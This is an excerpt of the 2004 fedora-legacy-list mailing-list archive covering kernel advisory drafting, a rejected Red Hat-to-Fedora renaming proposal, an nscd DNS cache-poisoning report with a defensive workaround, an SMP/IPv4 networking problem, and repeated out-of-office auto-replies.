> > He's suggesting that all 2.4 and all 2.6 kernels are vunerable, and just
> > to make our lives more enjoyable, there are currently no fixes out.
> >
> > regards,
> >
> > Simon
>
> --
> fedora-legacy-list mailing list
> fedora-legacy-list at redhat.com
> http://www.redhat.com/mailman/listinfo/fedora-legacy-list
--
Simon Weller LPIC-2, BCIP
Systems Engineer
NZServers LTD
http://www.nzservers.com/
U.S. Branch
<-
To mess up a Linux box, you need to work at it; to mess up your Windows box,
you just need to work on it.
- Scott Granneman, Security Focus
->
From jimpop at yahoo.com Thu Aug 5 06:22:58 2004
From: jimpop at yahoo.com (Jim Popovitch)
Date: Thu, 05 Aug 2004 02:22:58 -0400
Subject: Kernel update advisory text to approve...
In-Reply-To: <1090020882.13707.10.camel@mdlinux>
References: <1090020882.13707.10.camel@mdlinux>
Message-ID: <1091686978.3423.1.camel@blue>
-Jim P.
On Fri, 2004-07-16 at 19:34, Marc Deslauriers wrote:
> Fedora Legacy will be releasing a kernel update soon. There have been so
> many changes to the new version, I would like a few people to make sure
> we've got everything covered in the release write-up.
>
> Here's the proposed release announcement. Please compare it to bug #1484
> to make sure I didn't leave anything out, or to check my awful grammar.
> :)
>
> Thanks,
>
> Marc.
>
From peter.abraham at dynamicnet.net Thu Aug 5 12:13:56 2004
From: peter.abraham at dynamicnet.net (Peter M. Abraham)
Date: Thu, 05 Aug 2004 08:13:56 -0400
Subject: Kernel update advisory text to approve...
In-Reply-To: <1090020882.13707.10.camel@mdlinux>
References: <1090020882.13707.10.camel@mdlinux>
Message-ID: <6.1.2.0.2.20040805080553.01e91ec0@mail.dynamicnet.net>
Greetings:
Please be sure to keep an eye out on what Progeny did wrong in the latest
kernel update they released yesterday; please don't include those problems
in the kernel .
http://forum.psoft.net/showthread.php?t=6449 (last post -- RedHat 7.3) and
http://www.webhostingtalk.com/showthread.php?s=&threadid=305167 (last post
RedHat 9).
Thank you.
At 07:34 PM 7/16/2004, you wrote:
>Fedora Legacy will be releasing a kernel update soon. There have been so
>many changes to the new version, I would like a few people to make sure
>we've got everything covered in the release write-up.
>
>Here's the proposed release announcement. Please compare it to bug #1484
>to make sure I didn't leave anything out, or to check my awful grammar.
>:)
>
>Thanks,
________________________________________________
Peter M. Abraham, CEO
Dynamic Net, Inc.
Helping companies do business on the Net
Telephone: 1-610-736-3795
Web: http://www.dynamicnet.net/
http://www.wemanageservers.com/
________________________________________________
From ckelley at ibnads.com Thu Aug 5 15:31:25 2004
From: ckelley at ibnads.com (Craig Kelley)
Date: Thu, 05 Aug 2004 09:31:25 -0600
Subject: Introduction
Message-ID: <411252CD.7020508@ibnads.com>
Hello Everyone;
I'm interested in helping out with this project. In particular, I'm
interested in keeping 7.3 in working order (server-side). I'm very
comforatable with spec files, C/Perl and patching. I've been using the
legacy project for a few months now without issue; I just created a
bugzilla account for the fedora bugzilla system and look forward to helping.
Thanks,
-Craig
--
Craig Kelley
In-Store Broadcasting Network
-------------- next part --------------
An HTML attachment was scrubbed...
URL:
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
URL:
From b.j.smith at ieee.org Thu Aug 5 16:50:49 2004
From: b.j.smith at ieee.org (Bryan J. Smith)
Date: Thu, 05 Aug 2004 12:50:49 -0400
Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x
Message-ID: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com>
Lurker here. Feel free to smack me for suggesting this.
I've run into continuous confusion with clients and enthusiasts alike on
the naming change. Whether it is a demonization by anti-Red Hat
enthusiasts, people who claim Red Hat doesn't do anything but RPM (sigh,
they can't seem to separate APT from Debian) or when I've switched
clients from upgade from Red Hat Network (RHN) to Fedora Legacy (FL) for
Red Hat Linux (RHL) updates, they act like it's a whole new product.
I've had the best success in just flat out stating that Red Hat Linux is
now Fedora Core (FC), and Fedora Legacy (FL) is the mechanism by which
end-of-life RHL/FC releases, period. This includes no longer referring
to Red Hat Linux but calling it Fedora Core. Additionally, I call
"Fedora" the "community distribution" of Red Hat, which helps further
calm fears -- especially when I go into the trademark issues, which
client seem to understand better than the enthusiasts.
As such, I would suggest we adopt a nomenclature to retro-name RHL to FC
0.x. This would both solve some confusion _and_ the trademark
concerns. In fact, it would also solve the trademark issue for "black
box" vendors still shipping products based on Red Hat Linux 7.3 or 9 to
call and update it under a different name.
Specifically:
Red Hat Linux 7.3 is now Fedora Core L7[.3]
Red Hat Linux 9 is now Fedora Core L9
Where a traditional "number" is necessary, the "L" can be interpreted as
"0." -- so RHL 9 -> FC L9 or FC 0.9. We can do this with other Red Hat
Linux releases -- and maybe even have a "history page/mapping" on the
Fedora Legacy site.
This would also include putting a couple of new files in the
"redhat-release/ fedora-release" packages, such as:
/etc/fedora-release
With the reference to the new nomenclature. This might solve future
packages that look for /etc/fedora-release instead of
/etc/redhat-release (who knows?).
Plus there should be a symlink in /usr/share/doc:
fedora-release-Lx -> redhat-release-x
If anyone is up for it (I am, sans I only speak English ;-), it probably
wouldn't hurt to edit the contents of the directory to both reflect the
nomenclature change as well as change the trademarks.
Again, just a suggestion. The Fedora changeover has been so confusing,
and I tire of dealing with people in the "assumptions." Now that "Red
Hat Linux" is officially end-of-life, I feel we should just "simplify"
the whole mess and call everything "Fedora" retro-actively.
-- Bryan
P.S. This isn't some anti-Red Hat post -- quite the opposite if you
read the details. I'm very pro-Red Hat, pro-Fedora and I think Fedora
is the best thing Red Hat has done yet! Unfortunately, most people are
making assumptions out there. This is the best suggestion I could think
of, and works for me with people.
--
Engineers scoff at me because I have IT certifications
IT Pros scoff at me because I am a degreed engineer
I see and understand both of their viewpoints
Unfortunately Engineers and IT Pros only see in me
what they dislike about the other trade
------------------------------------------------------
Bryan J. Smith b.j.smith at ieee.org
From wcooley at nakedape.cc Thu Aug 5 17:06:46 2004
From: wcooley at nakedape.cc (Wil Cooley)
Date: Thu, 05 Aug 2004 10:06:46 -0700
Subject: 2 Issues
Message-ID: <1091725605.4750.37.camel@denk.nakedape.priv>
I tried to sign-up for a Bugzilla account, but never got the
confirmation e-mail, so I'm posting here in hopes that someone else will
enter them.
1/ The recently released libxml2-python 2.4.19-5.legacy is missing the
Python 2.2 modules:
/usr/lib/python2.2/site-packages/libxml2.py
/usr/lib/python2.2/site-packages/libxml2mod.so
2/ nscd from glibc-2.2.5-44 is vulnerable to DNS cache poisoning. I
don't know how it is when BIND doesn't seem to be affected, but several
times now I've found 'localhost' mapping to an address block assigned to
APNIC. I did a search and a few other people have seen this too.
(There was no specific break-in because my firewall kept things sane.)
You can use 'getent' to check ('host' only does DNS; 'getent' does
NSS-lookups): 'getent hosts localhost'. Workaround: Disable cache for
hosts in /etc/nscd.conf or disable nscd (not a good solution if you're
using NIS/LDAP/SQL/etc).
Wil
--
Wil Cooley wcooley at nakedape.cc
Naked Ape Consulting http://nakedape.cc
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
URL:
From skvidal at phy.duke.edu Thu Aug 5 17:39:42 2004
From: skvidal at phy.duke.edu (seth vidal)
Date: Thu, 05 Aug 2004 13:39:42 -0400
Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x
In-Reply-To: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com>
References: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com>
Message-ID: <1091727582.3707.7.camel@opus.phy.duke.edu>
On Thu, 2004-08-05 at 12:50, Bryan J. Smith wrote:
> Lurker here. Feel free to smack me for suggesting this.
>
> I've run into continuous confusion with clients and enthusiasts alike on
> the naming change. Whether it is a demonization by anti-Red Hat
> enthusiasts, people who claim Red Hat doesn't do anything but RPM (sigh,
> they can't seem to separate APT from Debian) or when I've switched
> clients from upgade from Red Hat Network (RHN) to Fedora Legacy (FL) for
> Red Hat Linux (RHL) updates, they act like it's a whole new product.
>
> I've had the best success in just flat out stating that Red Hat Linux is
> now Fedora Core (FC), and Fedora Legacy (FL) is the mechanism by which
> end-of-life RHL/FC releases, period. This includes no longer referring
> to Red Hat Linux but calling it Fedora Core. Additionally, I call
> "Fedora" the "community distribution" of Red Hat, which helps further
> calm fears -- especially when I go into the trademark issues, which
> client seem to understand better than the enthusiasts.
>
Not only is this a Trademark problem to 'rename them' in this way, it is
also completely confusing to a huge other set of users out there.
If my opinion is worth anything, this gets a no vote from me.
-sv
From dom at earth.li Fri Aug 6 10:29:58 2004
From: dom at earth.li (Dominic Hargreaves)
Date: Fri, 6 Aug 2004 11:29:58 +0100
Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x
In-Reply-To: <1091727582.3707.7.camel@opus.phy.duke.edu>
References: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com>
<1091727582.3707.7.camel@opus.phy.duke.edu>
Message-ID: <20040806102958.GA30964@tirian.magd.ox.ac.uk>
On Thu, Aug 05, 2004 at 01:39:42PM -0400, seth vidal wrote:
> Not only is this a Trademark problem to 'rename them' in this way, it is
> also completely confusing to a huge other set of users out there.
>
> If my opinion is worth anything, this gets a no vote from me.
Same here. I don't have any direct experience of the confusion you
mention, and the change would certainly cause a large amount.
Dominic.
From maurice at cds-cumberland.org Fri Aug 6 12:16:05 2004
From: maurice at cds-cumberland.org (Maurice)
Date: Fri, 06 Aug 2004 08:16:05 -0400
Subject: 2.6.x SMP and IPv4
Message-ID: <41137685.3060808@cds-cumberland.org>
Note: I've posted this to the Kernel-SMP list, already...
FYI,
I'm unable to get IPv4 running correctly when using a 2.6.xSMP kernel,
but the "same" 2.6.x non-SMP kernel will allown IPv4 to function.
I have tried a short list of the basics and searched google for help, I
also posted to my local LUG and tried a few additional things.
The hardware this is happening on is;
motherboard: ECS (elitegroup) D6VAA
NIC: netgear FA311
DHCP server: Coyote Linux, has run for about two years.
Below is the posting, two parts, to my local LUG;
Part I
I have a box at home that's ran RH9 for about two years (or when ever
RH9 first came out plus a month) and I've done regular RHN updates as
time went by.
About a week ago I used some very good online directions to take my RH9
box to Fedora C1 (using some basic RPM's and YUM) and eventhing went
fairly well, just had to make a few adjustments...
Then a week after the now FC1 box proved to be stable and correctly
operational I used the directions from the same site to update the FC1
to FC2, and that seemed to go well -- better than the RH9 to FC1, or so
it seemed.
I re-booted to see what, if anything, would fail on start-up.
I did have a failure, the FA311 NIC card could no longer get an address
from the DHCP server???
Seems that the NIC now only "runs" IPv6, and the info I've gathered from
the Net isn't helping me correct this -- I must be searching the wrong
phrase(s).
Has anyone else followed this upgrade path and had the same problem?
Has anyone else moved to the 2.6 kernel and had IPv4 problems?
I've poked around and added line to certain system files and even gave
the card a static IPv4 number -- but nothing has corrected this problem.
--------
-Maurice
"Linux -- it not just for breakfast anymore..."
-Moe
Part II
After a lot of off-list help from Phillip, the SMP kernel still wouldn't
allow IPv4 activity...
Thanks for all your help Phillip.
I then did a fresh install of FC2, just to see, and guess what -- nope
-- the SMP kernel still wouldn't allow IPv4 traffic, but the non-SMP
kernel worked fine.
So then I installed SuSE 9.1 PRO, same deal, the SMP kernel would not
allow IPv4 traffic.
I then tested several LiveCD's;
Knoppix 3.3 , Kernel 2.4.24-xfs #1 smp (NO)
LindowsOS 4.5.212, Kernel 2.4.24 (YES)
Morphix KDE 0.4.1, Kernel 2.4.21-xfs #13 smp (NO)
SLAX 4.0.4, Kernel 2.4.25 (YES)
The past kernel's used on the SMP box were;
RH 9, Kernel 2.4.20-31.9 (YES)
RH 9, Kernel 2.4.20-31.9smp (YES)
FC1, Kernel 2.4.22-1.2197.nptl (YES)
FC1, Kernel 2.4.22-1.2197.nptlsmp (YES)
FC2, Kernel 2.6.6-1.435.2.3smp (NO)
FC2, Kernel 2.6.6-1.4352.2.3 (YES)
SuSE 9.1 PRO, Kernel 2.6.4-52-smp (NO)
So there seems to be some issue with the 2.6 kernel and SMP, maybe based
on my motherboard and/or NIC combination???
--------
-Maurice
"Linux -- it not just for breakfast anymore..."
-Moe
From bvermeul at blackstar.nl Fri Aug 6 12:26:55 2004
From: bvermeul at blackstar.nl (Bas Vermeulen)
Date: Fri, 06 Aug 2004 14:26:55 +0200
Subject: 2.6.x SMP and IPv4
In-Reply-To: <41137685.3060808@cds-cumberland.org>
References: <41137685.3060808@cds-cumberland.org>
Message-ID: <1091795215.1824.46.camel@laptop.blackstar.nl>
On Fri, 2004-08-06 at 14:16, Maurice wrote:
> Note: I've posted this to the Kernel-SMP list, already...
>
> FYI,
>
> I'm unable to get IPv4 running correctly when using a 2.6.xSMP kernel,
> but the "same" 2.6.x non-SMP kernel will allown IPv4 to function.
Are you able to make an IPv6 connection? If not, try 'noapic' when
booting, as your interrupt could very well be non-functioning.
It's one of the things I would try first, before swapping out your NIC
for a different one (Intel E100 usually work fine).
Bas Vermeulen
> I have tried a short list of the basics and searched google for help, I
> also posted to my local LUG and tried a few additional things.
>
> The hardware this is happening on is;
>
> motherboard: ECS (elitegroup) D6VAA
> NIC: netgear FA311
> DHCP server: Coyote Linux, has run for about two years.
>
>
>
> Below is the posting, two parts, to my local LUG;
>
> Part I
>
> I have a box at home that's ran RH9 for about two years (or when ever
> RH9 first came out plus a month) and I've done regular RHN updates as
> time went by.
>
> About a week ago I used some very good online directions to take my RH9
> box to Fedora C1 (using some basic RPM's and YUM) and eventhing went
> fairly well, just had to make a few adjustments...
>
> Then a week after the now FC1 box proved to be stable and correctly
> operational I used the directions from the same site to update the FC1
> to FC2, and that seemed to go well -- better than the RH9 to FC1, or so
> it seemed.
>
> I re-booted to see what, if anything, would fail on start-up.
>
> I did have a failure, the FA311 NIC card could no longer get an address
> from the DHCP server???
> Seems that the NIC now only "runs" IPv6, and the info I've gathered from
> the Net isn't helping me correct this -- I must be searching the wrong
> phrase(s).
>
> Has anyone else followed this upgrade path and had the same problem?
> Has anyone else moved to the 2.6 kernel and had IPv4 problems?
>
> I've poked around and added line to certain system files and even gave
> the card a static IPv4 number -- but nothing has corrected this problem.
>
> --------
> -Maurice
>
>
> "Linux -- it not just for breakfast anymore..."
> -Moe
>
>
>
>
>
> Part II
>
> After a lot of off-list help from Phillip, the SMP kernel still wouldn't
> allow IPv4 activity...
> Thanks for all your help Phillip.
>
> I then did a fresh install of FC2, just to see, and guess what -- nope
> -- the SMP kernel still wouldn't allow IPv4 traffic, but the non-SMP
> kernel worked fine.
> So then I installed SuSE 9.1 PRO, same deal, the SMP kernel would not
> allow IPv4 traffic.
>
> I then tested several LiveCD's;
> Knoppix 3.3 , Kernel 2.4.24-xfs #1 smp (NO)
> LindowsOS 4.5.212, Kernel 2.4.24 (YES)
> Morphix KDE 0.4.1, Kernel 2.4.21-xfs #13 smp (NO)
> SLAX 4.0.4, Kernel 2.4.25 (YES)
>
> The past kernel's used on the SMP box were;
> RH 9, Kernel 2.4.20-31.9 (YES)
> RH 9, Kernel 2.4.20-31.9smp (YES)
> FC1, Kernel 2.4.22-1.2197.nptl (YES)
> FC1, Kernel 2.4.22-1.2197.nptlsmp (YES)
> FC2, Kernel 2.6.6-1.435.2.3smp (NO)
> FC2, Kernel 2.6.6-1.4352.2.3 (YES)
> SuSE 9.1 PRO, Kernel 2.6.4-52-smp (NO)
>
> So there seems to be some issue with the 2.6 kernel and SMP, maybe based
> on my motherboard and/or NIC combination???
>
>
>
> --------
> -Maurice
>
> "Linux -- it not just for breakfast anymore..."
> -Moe
>
>
> --
> fedora-legacy-list mailing list
> fedora-legacy-list at redhat.com
> http://www.redhat.com/mailman/listinfo/fedora-legacy-list
From Axel.Thimm at ATrpms.net Fri Aug 6 14:11:06 2004
From: Axel.Thimm at ATrpms.net (Axel Thimm)
Date: Fri, 6 Aug 2004 16:11:06 +0200
Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x
In-Reply-To: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com>
References: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com>
Message-ID: <20040806141106.GD22826@neu.physik.fu-berlin.de>
On Thu, Aug 05, 2004 at 12:50:49PM -0400, Bryan J. Smith wrote:
> As such, I would suggest we adopt a nomenclature to retro-name RHL to FC
> 0.x. This would both solve some confusion _and_ the trademark
> concerns.
There was a suggestion (Nov 2003?) to "rename" RHL7.3 etc. to FC0.7.3
etc. in order to get the disttag issues straightened out (the natural
disttag "rh9" is not rpm-less than "fc1"). If I am not wrong fedora.us
is using a similar scheme with stripped away distids, i.e. they don't
use fc0.7.3 but plain 0.7.3 in the versioning.
FWIW I would very much welcome a common versioning scheme for RHL & FC
that could look like
fc0.7.3 < fc0.8.0 < fc0.9 < fc1 < fc2 < fc2.90 etc
The confusion will be high, and unless all packaging parties use the
same semantics users will be lost.
The discussion in the past has shown very low to none interest by RH,
and N^2 disttag suggestions from N 3rd parties, so there is low chance
of anything happening.
--
Axel.Thimm at ATrpms.net
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
URL:
From jpdalbec at ysu.edu Fri Aug 6 16:59:14 2004
From: jpdalbec at ysu.edu (John Dalbec)
Date: Fri, 06 Aug 2004 12:59:14 -0400
Subject: 2 Issues
In-Reply-To: <20040806160032.B42FE7543B@hormel.redhat.com>
References: <20040806160032.B42FE7543B@hormel.redhat.com>
Message-ID: <4113B8E2.6020701@ysu.edu>
Wil Cooley wrote:
> 1/ The recently released libxml2-python 2.4.19-5.legacy is missing the
> Python 2.2 modules:
>
> /usr/lib/python2.2/site-packages/libxml2.py
> /usr/lib/python2.2/site-packages/libxml2mod.so
2.4.19-6.legacy is in updates-testing now and has the missing modules.
> 2/ nscd from glibc-2.2.5-44 is vulnerable to DNS cache poisoning. I
> don't know how it is when BIND doesn't seem to be affected, but several
> times now I've found 'localhost' mapping to an address block assigned to
> APNIC. I did a search and a few other people have seen this too.
> (There was no specific break-in because my firewall kept things sane.)
> You can use 'getent' to check ('host' only does DNS; 'getent' does
> NSS-lookups): 'getent hosts localhost'. Workaround: Disable cache for
> hosts in /etc/nscd.conf or disable nscd (not a good solution if you're
> using NIS/LDAP/SQL/etc).
I think that if this were easy to fix Red Hat would have done so when people
first complained about it. Personally I've disabled hosts caching on my systems.
John
From regis at nvision.lu Fri Aug 6 16:59:47 2004
From: regis at nvision.lu (regis at nvision.lu)
Date: 6 Aug 2004 16:59:47 -0000
Subject: Out of office
Message-ID: <20040806165947.25273.qmail@platon.nvision.lu>
G'dday,
I'll be out of office starting 09-08 till 13-08 included.
For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims .
Regards,
R?gis Kuckaertz
From regis at nvision.lu Fri Aug 6 17:00:06 2004
From: regis at nvision.lu (regis at nvision.lu)
Date: 6 Aug 2004 17:00:06 -0000
Subject: Out of office
Message-ID: <20040806170006.25309.qmail@platon.nvision.lu>
G'dday,
I'll be out of office starting 09-08 till 13-08 included.
For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims .
Regards,
R?gis Kuckaertz
From regis at nvision.lu Fri Aug 6 17:00:22 2004
From: regis at nvision.lu (regis at nvision.lu)
Date: 6 Aug 2004 17:00:22 -0000
Subject: Out of office
Message-ID: <20040806170022.25394.qmail@platon.nvision.lu>
G'dday,
I'll be out of office starting 09-08 till 13-08 included.
For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims .
Regards,
R?gis Kuckaertz
From regis at nvision.lu Fri Aug 6 17:00:34 2004
From: regis at nvision.lu (regis at nvision.lu)
Date: 6 Aug 2004 17:00:34 -0000
Subject: Out of office
Message-ID: <20040806170034.25429.qmail@platon.nvision.lu>
G'dday,
I'll be out of office starting 09-08 till 13-08 included.
For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims .
Regards,
R?gis Kuckaertz
From regis at nvision.lu Fri Aug 6 17:00:52 2004
From: regis at nvision.lu (regis at nvision.lu)
Date: 6 Aug 2004 17:00:52 -0000
Subject: Out of office
Message-ID: <20040806170052.25483.qmail@platon.nvision.lu>
G'dday,
I'll be out of office starting 09-08 till 13-08 included.
For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims .
Regards,
R?gis Kuckaertz
From regis at nvision.lu Fri Aug 6 17:01:14 2004
From: regis at nvision.lu (regis at nvision.lu)
Date: 6 Aug 2004 17:01:14 -0000
Subject: Out of office
Message-ID: <20040806170114.25522.qmail@platon.nvision.lu>
G'dday,
I'll be out of office starting 09-08 till 13-08 included.
For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims .
Regards,
R?gis Kuckaertz
From regis at nvision.lu Fri Aug 6 17:01:30 2004
From: regis at nvision.lu (regis at nvision.lu)
Date: 6 Aug 2004 17:01:30 -0000
Subject: Out of office
Message-ID: <20040806170130.25605.qmail@platon.nvision.lu>
G'dday,
I'll be out of office starting 09-08 till 13-08 included.
For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims .
Regards,
R?gis Kuckaertz
From regis at nvision.lu Fri Aug 6 17:01:43 2004
From: regis at nvision.lu (regis at nvision.lu)
Date: 6 Aug 2004 17:01:43 -0000
Subject: Out of office
Message-ID: <20040806170143.25664.qmail@platon.nvision.lu>
G'dday,
I'll be out of office starting 09-08 till 13-08 included.
For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims .
Regards,
R?gis Kuckaertz
From regis at nvision.lu Fri Aug 6 17:02:00 2004
From: regis at nvision.lu (regis at nvision.lu)
Date: 6 Aug 2004 17:02:00 -0000
Subject: Out of office
Message-ID: <20040806170200.25698.qmail@platon.nvision.lu>
G'dday,
I'll be out of office starting 09-08 till 13-08 included.
For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims .
Regards,
R?gis Kuckaertz
From regis at nvision.lu Fri Aug 6 17:02:12 2004
From: regis at nvision.lu (regis at nvision.lu)
Date: 6 Aug 2004 17:02:12 -0000
Subject: Out of office
Message-ID: <20040806170212.25733.qmail@platon.nvision.lu>
G'dday,
I'll be out of office starting 09-08 till 13-08 included.
For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims .
Regards,
R?gis Kuckaertz
From wcooley at nakedape.cc Fri Aug 6 17:10:54 2004
From: wcooley at nakedape.cc (Wil Cooley)
Date: Fri, 06 Aug 2004 10:10:54 -0700
Subject: 2 Issues
In-Reply-To: <1091725605.4750.37.camel@denk.nakedape.priv>
References: <1091725605.4750.37.camel@denk.nakedape.priv>
Message-ID: <1091812254.3933.1.camel@denk.nakedape.priv>
On Thu, 2004-08-05 at 10:06, Wil Cooley wrote:
> I tried to sign-up for a Bugzilla account, but never got the
> confirmation e-mail,
Just in case any mail or bugzilla admins were wondering what happened, I
actually *had* gotten the message, but had forgotten all bugzilla
messages are filtered to a folder, which I forgot to check.
Wil
--
Wil Cooley wcooley at nakedape.cc
Naked Ape Consulting http://nakedape.cc
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
URL:
From simon at nzservers.com Fri Aug 6 17:17:54 2004
From: simon at nzservers.com (Simon Weller)
Date: Fri, 6 Aug 2004 12:17:54 -0500
Subject: Out of office
In-Reply-To: <20040806170212.25733.qmail@platon.nvision.lu>
References: <20040806170212.25733.qmail@platon.nvision.lu>
Message-ID: <200408061217.54338.simon@nzservers.com>
On Friday 06 August 2004 12:02 pm, regis at nvision.lu wrote:
Any chance an admin can suspend this email from the list?
- Si
> G'dday,
>
> I'll be out of office starting 09-08 till 13-08 included.
>
> For technical questions/remarks/suggestions concerning mobile applications,
> please contact Olivier Pierre . For all other
> stuff please contact Raoul Mulheims .
>
> Regards,
> R?gis Kuckaertz
>
>
>
> --
> fedora-legacy-list mailing list
> fedora-legacy-list at redhat.com
> http://www.redhat.com/mailman/listinfo/fedora-legacy-list
--
Simon Weller LPIC-2, BCIP
Systems Engineer
NZServers LTD
http://www.nzservers.com/
U.S. Branch
<-
To mess up a Linux box, you need to work at it; to mess up your Windows box,
you just need to work on it.
- Scott Granneman, Security Focus
->
From jkeating at j2solutions.net Fri Aug 6 17:21:48 2004
From: jkeating at j2solutions.net (Jesse Keating)
Date: Fri, 6 Aug 2004 10:21:48 -0700
Subject: Kernel update advisory text to approve...
In-Reply-To: <6.1.2.0.2.20040805080553.01e91ec0@mail.dynamicnet.net>
References: <1090020882.13707.10.camel@mdlinux>
<6.1.2.0.2.20040805080553.01e91ec0@mail.dynamicnet.net>
Message-ID: <200408061021.52571.jkeating@j2solutions.net>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
On Thursday 05 August 2004 05:13, Peter M. Abraham wrote:
> Please be sure to keep an eye out on what Progeny did wrong in the
> latest kernel update they released yesterday; please don't include
> those problems in the kernel .
>
> http://forum.psoft.net/showthread.php?t=6449 (last post -- RedHat
> 7.3) and
> http://www.webhostingtalk.com/showthread.php?s=&threadid=305167 (last
> post RedHat 9).
Forgive my lack of time, what did they do wrong? I haven't looked at
the advisories yet.
- --
Jesse Keating RHCE (http://geek.j2solutions.net)
Fedora Legacy Team (http://www.fedoralegacy.org)
GPG Public Key
(http://geek.j2solutions.net/jkeating.j2solutions.pub)
Was I helpful? Let others know:
http://svcs.affero.net/rm.php?r=jkeating
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
iD8DBQFBE74v4v2HLvE71NURAjs+AKCtpAvPg+Ibc+j57xHK0rLaNzjLjACff5k7
VB+sfsGpaNW0+Cr6K6TBWIg=
=wYzH
-----END PGP SIGNATURE-----
From jkeating at j2solutions.net Fri Aug 6 17:23:26 2004
From: jkeating at j2solutions.net (Jesse Keating)
Date: Fri, 6 Aug 2004 10:23:26 -0700
Subject: Introduction
In-Reply-To: <411252CD.7020508@ibnads.com>
References: <411252CD.7020508@ibnads.com>
Message-ID: <200408061023.28341.jkeating@j2solutions.net>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
On Thursday 05 August 2004 08:31, Craig Kelley wrote:
> I'm interested in helping out with this project. ?In particular, I'm
> interested in keeping 7.3 in working order (server-side). ?I'm very
> comforatable with spec files, C/Perl and patching. ?I've been using
> the legacy project for a few months now without issue; I just created
> a bugzilla account for the fedora bugzilla system and look forward to
> helping.
Welcome to the team Craig!
- --
Jesse Keating RHCE (http://geek.j2solutions.net)
Fedora Legacy Team (http://www.fedoralegacy.org)
GPG Public Key
(http://geek.j2solutions.net/jkeating.j2solutions.pub)
Was I helpful? Let others know:
http://svcs.affero.net/rm.php?r=jkeating
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
iD8DBQFBE76O4v2HLvE71NURAtCKAKDEQQRGxrwLdDsGevjBaK5VpR3PCACggNa6
UNpR3taQy0ggOTNkSlW5XKc=
=QTUc
-----END PGP SIGNATURE-----
From jkeating at j2solutions.net Fri Aug 6 17:25:52 2004
From: jkeating at j2solutions.net (Jesse Keating)
Date: Fri, 6 Aug 2004 10:25:52 -0700
Subject: Out of office
In-Reply-To: <200408061217.54338.simon@nzservers.com>
References: <20040806170212.25733.qmail@platon.nvision.lu>
<200408061217.54338.simon@nzservers.com>
Message-ID: <200408061025.53957.jkeating@j2solutions.net>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
On Friday 06 August 2004 10:17, Simon Weller wrote:
> Any chance an admin can suspend this email from the list?
I'll drop this guy in a moment.
- --
Jesse Keating RHCE (http://geek.j2solutions.net)
Fedora Legacy Team (http://www.fedoralegacy.org)
GPG Public Key
(http://geek.j2solutions.net/jkeating.j2solutions.pub)
Was I helpful? Let others know:
http://svcs.affero.net/rm.php?r=jkeating
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
iD8DBQFBE78g4v2HLvE71NURAlgHAJwJycg/JtSYILjhtL5x0TKP/5GbyQCgpIUt
Vr+el0JN4KzKqHJoR/6H0uI=
=S3jY
-----END PGP SIGNATURE-----
From simon at nzservers.com Fri Aug 6 17:32:52 2004
From: simon at nzservers.com (Simon Weller)
Date: Fri, 6 Aug 2004 12:32:52 -0500
Subject: Out of office
In-Reply-To: <200408061025.53957.jkeating@j2solutions.net>
References: <20040806170212.25733.qmail@platon.nvision.lu>
<200408061217.54338.simon@nzservers.com>
<200408061025.53957.jkeating@j2solutions.net>
Message-ID: <200408061232.52975.simon@nzservers.com>
On Friday 06 August 2004 12:25 pm, Jesse Keating wrote:
> On Friday 06 August 2004 10:17, Simon Weller wrote:
> > Any chance an admin can suspend this email from the list?
>
> I'll drop this guy in a moment.
>
Thanks Jesse :-)
> --
> Jesse Keating RHCE (http://geek.j2solutions.net)
> Fedora Legacy Team (http://www.fedoralegacy.org)
> GPG Public Key
> (http://geek.j2solutions.net/jkeating.j2solutions.pub)
>
> Was I helpful? Let others know:
> http://svcs.affero.net/rm.php?r=jkeating
--
Simon Weller LPIC-2, BCIP
Systems Engineer
NZServers LTD
http://www.nzservers.com/
U.S. Branch
<-
To mess up a Linux box, you need to work at it; to mess up your Windows box,
you just need to work on it.
- Scott Granneman, Security Focus
->
From peter.abraham at dynamicnet.net Fri Aug 6 18:00:47 2004
From: peter.abraham at dynamicnet.net (Peter M. Abraham)
Date: Fri, 06 Aug 2004 14:00:47 -0400
Subject: Kernel update advisory text to approve...
In-Reply-To: <200408061021.52571.jkeating@j2solutions.net>
References: <1090020882.13707.10.camel@mdlinux>
